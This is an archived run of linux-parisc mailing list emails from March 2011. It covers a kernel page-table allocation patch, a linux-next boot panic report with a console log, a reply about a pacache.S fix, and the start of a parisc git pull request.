         LVYuMcAFat9AZ5nx1lExXF+BC4EJojvfu8CUvLbGf5zN4i6GCnnYok6h4a41zVHKZPpE
         mVSjGeiHgieYJ5DlauCHW7nbJw4kvLdbuTR4w=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=eUitH/Wl4k8k4Inj/9dEpEvasfNS7udBPmse20VH4hvKPxMCwGnZ6y85qEFsQMXryk
         8WLsldZ0Y0Tf1j7EfH/LtUno03Nt0IipBypsBQ04Ck22bTcIx/nNKb7JZXgmuhIX7IRH
         RyqHnrNCelgsdClPWQnqmFFrl4oBNMLxAZIwE=
Original-Received: by 10.227.136.204 with SMTP id s12mr1631920wbt.15.1300478326625;
        Fri, 18 Mar 2011 12:58:46 -0700 (PDT)
Original-Received: from prasad-kvm (pineapple.rdg.ac.uk [134.225.206.123])
        by mx.google.com with ESMTPS id o23sm1525067wbc.10.2011.03.18.12.58.45
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 18 Mar 2011 12:58:46 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20110318195754.GK4746@prasad-kvm>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3506 gmane.linux.kernel:1115091
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3506>


- Added __pte_alloc_one_kernel() function to allocate zeroed page using
   passed allocation flag. The function pte_alloc_one_kernel() is changed to
   call __pte_alloc_one_kernel() passing GFP_KERNEL | __GFP_REPEAT allocation
   flags.

2-level page table support
- Added macro __pmd_alloc_one which is same as pmd_alloc_one, but has an extra
  argument to pass gfp_t

3-level page table support
- Added function __pmd_alloc_one() to allocate pages using allocation flag.
  The allocation flag is argument to the function.

- The function pmd_alloc_one() is changed to call __pmd_alloc_one(), passing
  GFP_KERNEL | __GFP_REPEAT allocation flags.

- All these changes help in fixing the Bug 30702

Signed-off-by: Prasad Joshi <prasadjoshi124@gmail.com>
Signed-off-by: Anand Mitra <mitra@kqinfotech.com>
---
 arch/parisc/include/asm/pgalloc.h |   21 ++++++++++++++++-----
 1 files changed, 16 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
index fc987a1..0284a43 100644
--- a/arch/parisc/include/asm/pgalloc.h
+++ b/arch/parisc/include/asm/pgalloc.h
@@ -61,15 +61,20 @@ static inline void pgd_populate(struct mm_struct *mm, pgd_t *pgd, pmd_t *pmd)
 		        (__u32)(__pa((unsigned long)pmd) >> PxD_VALUE_SHIFT));
 }
 
-static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
+static inline pmd_t *
+__pmd_alloc_one(struct mm_struct *mm, unsigned long address, gfp_t gfp_mask)
 {
-	pmd_t *pmd = (pmd_t *)__get_free_pages(GFP_KERNEL|__GFP_REPEAT,
-					       PMD_ORDER);
+	pmd_t *pmd = (pmd_t *)__get_free_pages(gfp_mask, PMD_ORDER);
 	if (pmd)
 		memset(pmd, 0, PAGE_SIZE<<PMD_ORDER);
 	return pmd;
 }
 
+static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
+{
+	return __pmd_alloc_one(mm, address, GFP_KERNEL | __GFP_REPEAT);
+}
+
 static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
 {
 #ifdef CONFIG_64BIT
@@ -90,6 +95,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
  * inside the pgd, so has no extra memory associated with it.
  */
 
+#define __pmd_alloc_one(mm, addr, mask)		({ BUG(); ((pmd_t *)2); })
 #define pmd_alloc_one(mm, addr)		({ BUG(); ((pmd_t *)2); })
 #define pmd_free(mm, x)			do { } while (0)
 #define pgd_populate(mm, pmd, pte)	BUG()
@@ -127,10 +133,15 @@ pte_alloc_one(struct mm_struct *mm, unsigned long address)
 }
 
 static inline pte_t *
+__pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr, gfp_t gfp_mask)
+{
+	return (pte_t *)__get_free_page(gfp_mask | __GFP_ZERO);
+}
+
+static inline pte_t *
 pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
 {
-	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_REPEAT|__GFP_ZERO);
-	return pte;
+	return __pte_alloc_one_kernel(mm, addr, GFP_KERNEL | __GFP_REPEAT);
 }
 
 static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
-- 
1.7.0.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: linux-next boot failure
Date: Sun, 20 Mar 2011 16:16:15 -0400
Organization: nrc.ca
Lines: 225
Approved: news@gmane.org
Message-ID: <20110320201614.GA25287@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300652185 27596 80.91.229.12 (20 Mar 2011 20:16:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 Mar 2011 20:16:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 20 21:16:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1P2y-0005Dr-Gg
	for glpp-linux-parisc@lo.gmane.org; Sun, 20 Mar 2011 21:16:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752338Ab1CTUQS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Mar 2011 16:16:18 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3633 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752273Ab1CTUQS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Mar 2011 16:16:18 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 1855447E2; Sun, 20 Mar 2011 16:16:15 -0400 (EDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3507
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3507>

The current linux-next tree fails to boot on parisc.  I have seen
the same panic on two different systems.  2.6.38-rc5-next-20110218
is ok.  2.6.38-rc8-next-20110311 failed to boot.  The backtrace is
the same in all cases.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

Command line for kernel: ' root=/dev/sda3 console=ttyS0 palo_kernel=1/vmlinux'
Selected kernel: /vmlinux from partition 1
Selected ramdisk: /initrd.img from partition 1
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 4866048 mediaptr 0x1000
Segment 1 load 00611fd0 size 441320 mediaptr 0x4a5fd0
Segment 2 load 00680000 size 323392 mediaptr 0x512000
Loading ramdisk 11915351 bytes @ 3f491000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 2.6.38-rc8-next-20110311+ (dave@gsyprf11) (gcc version 4.5.3 20101230 (prerelease) [gcc-4_5-branch revision 168358] (GCC) ) #1 SMP Sun Mar 13 18:59:47 PDT 2011
[    0.000000] unwind_init: start = 0x404ce000, end = 0x404ff7d0, entries = 12669
[    0.000000] FP[0] enabled: Rev 1 Model 19
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00005e30 00000491 00000000 00000001 312b7146 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000203
[    0.000000] CPUID vers 19 rev 8 (0x00000268)
[    0.000000] capabilities 0x5
[    0.000000] model 9000/800/A500-7X
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
[    0.000000]  1) Start 0x0000000100000000 End 0x00000001ffffffff Size   4096 MB
[    0.000000]  2) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
[    0.000000] Total Memory: 8192 MB
[    0.000000] initrd: 7f491000-7ffee057
[    0.000000] initrd: reserving 3f491000-3ffee057 (mem_max 200000000)
[    0.000000] PERCPU: Embedded 10 pages/cpu @0000000044abe000 s12096 r8192 d20672 u40960
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2068480
[    0.000000] Kernel command line:  root=/dev/sda3 console=ttyS0 palo_kernel=1/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
[    0.000000] Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Memory: 8226048k/8388608k available (3261k kernel code, 162560k reserved, 1440k data, 316k init)
[    0.000000] virtual kernel memory layout:
[    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
[    0.000000]     memory  : 0x0000000040000000 - 0x0000001140000000   (69632 MB)
[    0.000000]       .init : 0x0000000040680000 - 0x00000000406cf000   ( 316 kB)
[    0.000000]       .data : 0x000000004042f560 - 0x00000000405977a0   (1440 kB)
[    0.000000]       .text : 0x0000000040100000 - 0x000000004042f560   (3261 kB)
[    0.000000] Hierarchical RCU implementation.
[    0.000000] 	RCU-based detection of stalled CPUs is disabled.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.000000] Calibrating delay loop... 1495.04 BogoMIPS (lpj=2990080)
[    0.224000] pid_max: default: 32768 minimum: 301
[    0.224000] Mount-cache hash table entries: 256
[    0.272000] Initializing cgroup subsys ns
[    0.276000] ns_cgroup deprecated: consider using the 'clone_children' flag without the ns_cgroup.
[    0.412000] Initializing cgroup subsys cpuacct
[    0.552000] Initializing cgroup subsys devices
[    0.552000] Brought up 1 CPUs
[    0.556000] NET: Registered protocol family 16
[    0.692000] EISA bus registered
[    0.692000] Searching for devices...
[    0.964000] Found devices:
[    0.964000] 1. Crescendo 750 W2 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5e3, 0x00004 }
[    0.968000] 2. Crescendo 750 W2 at 0xfffffffffffa2000 [162] { 0, 0x0, 0x5e3, 0x00004 }
[    0.968000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x09b, 0x00009 }
[    1.108000] 4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
[    1.248000] 5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
[    1.388000] 6. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
[    1.528000] 7. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
[    1.528000] 8. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
[    1.668000] Enabling PDC_PAT chass
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
[    3.168000] Freeing initrd memory: 11636k freed
[    3.176000] Chassis warnings not supported.
[    3.176000] Performance monitoring counters enabled for Crescendo 750 W2
[    3.180000] audit: initializing netlink socket (disabled)
[    3.180000] type=2000 audit(1300143168.900:1): initialized
[    3.192000] VFS: Disk quotas dquot_6.5.2
[    3.192000] Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[    3.200000] msgmni has been set to 16089
[    3.200000] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
[    3.204000] io scheduler noop registered
[    3.204000] io scheduler deadline registered
[    3.212000] io scheduler cfq registered (default)
[    3.216000] PDC Stable Storage facility v0.30
[    3.768000] STI GSC/PCI core graphics driver Version 0.9a
[    3.768000] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
[    3.768000] serial 0000:00:04.1: enabling device (0142 -> 0143)
[    3.792000] 0000:00:04.1: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
[    3.792000] console [ttyS0] enabled, bootconsole disabled
[    3.792000] console [ttyS0] enabled, bootconsole disabled
[    3.792000] 0000:00:04.1: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16450
[    3.832000] 0000:00:04.1: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
[    3.972000] 0000:00:04.1: ttyS3 at MMIO 0xfffffffff8000030 (irq = 70) is a 16550A
[    4.096000] Couldn't register serial port 0000:00:04.1: -28
[    4.112000] brd: module loaded
[    4.112000] mousedev: PS/2 mouse device common for all mice
[    4.248000] rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
[    4.400000] TCP cubic registered
[    4.400000] NET: Registered protocol family 17
[    4.400000] Registering the dns_resolver key type
[    4.548000] registered taskstats version 1
[    4.552000] rtc-generic rtc-generic: setting syste
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system initialization      1C00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************
[    5.468000] Backtrace:
[    5.468000]  [<00000000402de880>] string.clone.2+0x50/0xe8
[    5.468000]  [<00000000402df6ac>] vsnprintf+0x23c/0x450
[    5.468000]  [<00000000402d7a84>] add_uevent_var+0x94/0x110
[    5.468000]  [<0000000040359690>] dev_uevent+0x138/0x1e0
[    5.580000]  [<00000000402d7de4>] kobject_uevent_env+0x23c/0x640
[    5.580000]  [<00000000402d81fc>] kobject_uevent+0x14/0x20
[    5.732000]  [<0000000040357f3c>] store_uevent+0x4c/0x88
[    5.748000]  [<0000000040356e68>] dev_attr_store+0x28/0x38
[    5.880000]  [<000000004027ecf4>] sysfs_write_file+0x124/0x190
[    6.032000]  [<0000000040206c68>] vfs_write+0xa8/0x188
[    6.032000]  [<0000000040206fd0>] sys_write+0x60/0xa0
[    6.108000]  [<0000000040105034>] syscall_exit+0x0/0x14
[    6.180000] 
[    6.180000] 
[    6.180000] Bad Address (null pointer deref?): Code=15 regs=000000012c988940 (Addr=000006c000000000)
[    6.332000] 
[    6.332000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    6.480000] PSW: 00001000000001001111111000001111 Not tainted
[    6.480000] r00-03  000000ff0804fe0f 000000004067ced0 00000000402de880 000000012c9d3145
[    6.632000] r04-07  000000004065eed0 000000012c9d3904 0009cec000000000 0000000000000000
[    6.784000] r08-11  ffffffffffffffff 00000000000007c6 0000000000000025 0000000000000020
[    6.908000] r12-15  00000000404938cf 000000012c988798 0000000000000011 000000012c9d3145
[    6.932000] r16-19  0000000000000002 000000000000006c 000000000000007a 00000000402df57c
[    7.084000] r20-23  00000000402df688 000000000000ffff 000000000000ffff 0000000000000000
[    7.232000] r24-27  0009cec000000000 ffffffffffffffff 0009cec000000000 000000004065eed0
[    7.384000] r28-31  0009cec000000000 000000012c988910 000000012c988940 0000000000000004
[    7.384000] sr00-03  0000000000017000 0000000000000000 0000000000000000 0000000000017000
[    7.532000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    7.684000] 
[    7.684000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000402dc7e0 00000000402dc7e4
[    7.836000]  IIR: 0f80101f    ISR: 000000000009c800  IOR: 000006c000000000
[    7.836000]  CPU:        1   CR30: 000000012c988000 CR31: ffef7dfff7fdffff
[    7.988000]  ORIG_R28: 000000012c988af0
[    7.988000]  IAOQ[0]: strnlen+0x10/0x28
[    8.136000]  IAOQ[1]: strnlen+0x14/0x28
[    8.136000]  RP(r2): string.clone.2+0x50/0xe8
[    8.288000] Backtrace:
[    8.288000]  [<00000000402de880>] string.clone.2+0x50/0xe8
[    8.288000]  [<00000000402df6ac>] vsnprintf+0x23c/0x450
[    8.436000]  [<00000000402d7a84>] add_uevent_var+0x94/0x110
[    8.436000]  [<0000000040359690>] dev_uevent+0x138/0x1e0
[    8.588000]  [<00000000402d7de4>] kobject_uevent_env+0x23c/0x640
[    8.588000]  [<00000000402d81fc>] kobject_uevent+0x14/0x20
[    8.740000]  [<0000000040357f3c>] store_uevent+0x4c/0x88
[    8.740000]  [<0000000040356e68>] dev_attr_store+0x28/0x38
[    8.888000]  [<000000004027ecf4>] sysfs_write_file+0x124/0x190
[    8.888000]  [<0000000040206c68>] vfs_write+0xa8/0x188
[    9.040000]  [<0000000040206fd0>] sys_write+0x60/0xa0
[    9.040000]  [<0000000040105034>] syscall_exit+0x0/0x14
[    9.192000] 
[    9.192000] Kernel panic - not syncing: Bad Address (null pointer deref?)
[    9.344000] Backtrace:
[    9.344000]  [<00000000401169d8>] dump_stack+0x18/0x28
[    9.344000]  [<0000000040116abc>] panic+0xd4/0x350
[    9.492000]  [<000000004011e6a0>] parisc_terminate+0x168/0x170
[    9.492000]  [<000000004011c63c>] do_page_fault+0x314/0x370
[    9.644000]  [<000000004011ed9c>] handle_interruption+0x6f4/0x718
[    9.
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         FLASH     ON         ON
LED State: System Running.  Unexpected Reboot.  Non-critical Error Detected.
Check Chassis and Console Logs for error messages.

processor                 system panic               1B00

*****************************************

************ EARLY BOOT VFP *************
End of early boot detected
*****************************************


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: compile failure: pacache.S and .size
Date: Sun, 20 Mar 2011 18:20:26 -0400
Organization: nrc.ca
Lines: 42
Approved: news@gmane.org
Message-ID: <20110320222026.GA25697@hiauly1.hia.nrc.ca>
References: <alpine.SOC.1.00.1103130004110.6027@math.ut.ee> <20110313000323.GA17493@hiauly1.hia.nrc.ca> <alpine.SOC.1.00.1103130235020.7773@math.ut.ee> <20110313041046.GA19769@hiauly1.hia.nrc.ca> <alpine.SOC.1.00.1103132139410.24035@math.ut.ee>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1300659640 31593 80.91.229.12 (20 Mar 2011 22:20:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 Mar 2011 22:20:40 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 20 23:20:34 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1QzA-00067O-Oy
	for glpp-linux-parisc@lo.gmane.org; Sun, 20 Mar 2011 23:20:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751275Ab1CTWU3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Mar 2011 18:20:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:3692 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751186Ab1CTWU3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Mar 2011 18:20:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 81D1747E2; Sun, 20 Mar 2011 18:20:27 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <alpine.SOC.1.00.1103132139410.24035@math.ut.ee>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3508
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3508>

On Sun, 13 Mar 2011, Meelis Roos wrote:

> diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
> index 09b77b2..f3d7da6 100644
> --- a/arch/parisc/kernel/pacache.S
> +++ b/arch/parisc/kernel/pacache.S
> @@ -842,11 +842,10 @@ ENTRY(flush_alias_page)
>  	.exit
>  
>  	.procend
> +ENDPROC(flush_alias_page)
>  #endif
>  
> -	.export flush_user_dcache_range_asm
> -
> -flush_user_dcache_range_asm:
> +ENTRY(flush_user_dcache_range_asm)
>  	.proc
>  	.callinfo NO_CALLS
>  	.entry
> @@ -865,7 +864,7 @@ flush_user_dcache_range_asm:
>  	.exit
>  
>  	.procend
> -ENDPROC(flush_alias_page)
> +ENDPROC(flush_user_dcache_range_asm)
>  
>  ENTRY(flush_kernel_dcache_range_asm)
>  	.proc

Suggest officially submitting above change.  It corrects obvious
problems with pacache.S.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: linux-next boot failure
Date: Mon, 21 Mar 2011 11:37:29 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1300725449.10634.23.camel@mulgrave.site>
References: <20110320201614.GA25287@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300725465 29605 80.91.229.12 (21 Mar 2011 16:37:45 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Mar 2011 16:37:45 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 21 17:37:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1i6q-00042S-5k
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Mar 2011 17:37:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753794Ab1CUQhf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Mar 2011 12:37:35 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52243 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753675Ab1CUQhf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Mar 2011 12:37:35 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8D7298EE108;
	Mon, 21 Mar 2011 09:37:32 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id eG48yD+A2FBb; Mon, 21 Mar 2011 09:37:32 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B049D8EE0D3;
	Mon, 21 Mar 2011 09:37:31 -0700 (PDT)
In-Reply-To: <20110320201614.GA25287@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3509
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3509>

On Sun, 2011-03-20 at 16:16 -0400, John David Anglin wrote:
> The current linux-next tree fails to boot on parisc.  I have seen
> the same panic on two different systems.  2.6.38-rc5-next-20110218
> is ok.  2.6.38-rc8-next-20110311 failed to boot.  The backtrace is
> the same in all cases.

I don't see this in get head as of this morning, so it's likely in an
unmerged branch.  If you can find it, I might be able to have the
culprit fix it before it does get merged.

James

P.S. I also try not to run -next around the merge window, because it
gets very unstable (all the rules violators trying to get a last fix in)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for the 2.6.38 merge window
Date: Mon, 21 Mar 2011 11:45:54 -0500
Lines: 48
Approved: news@gmane.org
Message-ID: <1300725954.10634.28.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1300725964 552 80.91.229.12 (21 Mar 2011 16:46:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 21 Mar 2011 16:46:04 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 21 17:46:00 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Q1iEx-0008MI-CI
	for glpp-linux-parisc@lo.gmane.org; Mon, 21 Mar 2011 17:45:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753699Ab1CUQp6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Mar 2011 12:45:58 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38617 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751492Ab1CUQp6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Mar 2011 12:45:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CF8C18EE108;
	Mon, 21 Mar 2011 09:45:57 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
